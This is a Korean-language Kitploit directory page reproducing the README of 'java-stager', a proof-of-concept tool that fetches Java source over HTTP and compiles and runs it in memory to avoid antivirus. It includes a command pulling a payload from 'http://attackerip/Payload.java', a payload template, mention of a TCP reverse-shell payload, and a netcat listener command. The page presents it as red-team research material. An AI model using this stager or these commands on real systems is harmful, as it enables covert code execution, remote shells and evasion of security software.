Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
java-stager — 메모리에서 Java 파일을 다운로드, 컴파일 및 실행할 수 있는 PoC Java Stager | Kitploit
도구/GitHubGitHub/cornerpirate/java-stager
Memory ForensicsPayload GenerationDynamic Code Analysis (DAST)ExploitationPost-ExploitationCommand and ControlLearning & EducationRed TeamingRemote Access ToolPayload Development
GitHubcornerpirate/java-stager

java-stager

1073058년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

메모리에서 Java 파일을 다운로드, 컴파일 및 실행할 수 있는 PoC Java Stager

저장소 보기

java-stager

메모리에서 Java 파일을 다운로드, 컴파일 및 실행할 수 있는 PoC Java 스테이저입니다.

이는 연구 목적으로만 사용되며, 권한이 없는 곳에서는 사용하지 마십시오.

이게 뭔가요?

이것은 James Williams의 강연 "Next Gen AV vs My Shitty Code"의 작업을 기반으로 하며, 여기에서 확인할 수 있습니다:

https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be

저에게 중요한 강연의 핵심 부분은 다음과 같습니다:

  • 피해자에게 스테이저를 로드합니다 (디스크에 닿지만, 양성 바이너리입니다)
  • 스테이저가 HTTP를 통해 원시 코드를 다운로드합니다 (메모리에 유지됨)
  • 스테이저가 원시 코드를 컴파일합니다 (또한 메모리에서)
  • 스테이저가 컴파일된 코드를 실행합니다 (또한 메모리에서)

그의 예제는 .net으로 작성되었지만, 강연에서 그는 Java도 동일한 기술을 사용할 수 있다고 제안했습니다. 저는 위의 기술과 일치하는 원시 PoC를 구현했습니다.

사용 방법

  • 전체 저장소를 클론합니다.
  • Maven을 사용할 수 있는 IDE(예: NetBeans)에서 엽니다.
  • 스테이저와 예제 페이로드는 "/src/main/java" 폴더에 있습니다.
  • 원하는 대로 스테이저를 수정하고 프로젝트를 컴파일합니다. 저는 기본 프로필에서 "clean/build"를 사용했습니다.

NetBeans의 출력에는 다음과 같은 줄이 포함되었습니다:

root@kitploit:~
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

피해자 시스템에서 작업하려면 "target" 폴더에서 "JavaStager*.jar" 파일과 Janino가 포함된 "lib" 폴더를 업로드해야 합니다.

다음 명령어로 스테이저를 실행합니다:

java -jar JavaStager-0.1-initial.jar

다음과 같은 사용법이 표시됩니다:

Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>

"url"은 스테이저에 전달되는 유일한 매개변수입니다. 예시 사용법은 다음과 같습니다:

java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

페이로드는 "Payload.java"라는 파일에 있어야 하며, 익스플로잇 코드는 "Run"이라는 정적 메서드에 있어야 합니다. 다음은 직접 작성할 경우의 템플릿입니다:

root@kitploit:~
public class Payload {
   public static void Run() {
      // Your code here
   }
}

"TCPReverseShell.java" 파일에 예제 Reverse TCP 페이로드를 제공했습니다. 이름 충돌을 방지하기 위해 이 파일은 "Payload.java"라고 불리지 않으며 클래스 이름도 올바르지 않습니다. "TCPReverseShell.java"의 헤더 주석에 수정 방법이 설명되어 있습니다.

"Payload.java" 파일을 HTTP 서버에서 호스팅해야 합니다. 원한다면 Apache를 사용하거나 제 블로그에 설명된 대로 Python2 및 Python3의 간단한 HTTP/HTTPS 서비스를 사용할 수 있습니다:

https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/

공격자는 표준 nc -lvp 8044 기술을 사용하여 연결을 받기 위해 netcat 리스너를 시작해야 합니다.

추가 정보

모든 작동 방식을 설명하는 블로그 게시물:

https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/

실제 작동 방식을 보여주는 비디오:

https://www.youtube.com/watch?v=-KkJVdSHPAc

도구 다운로드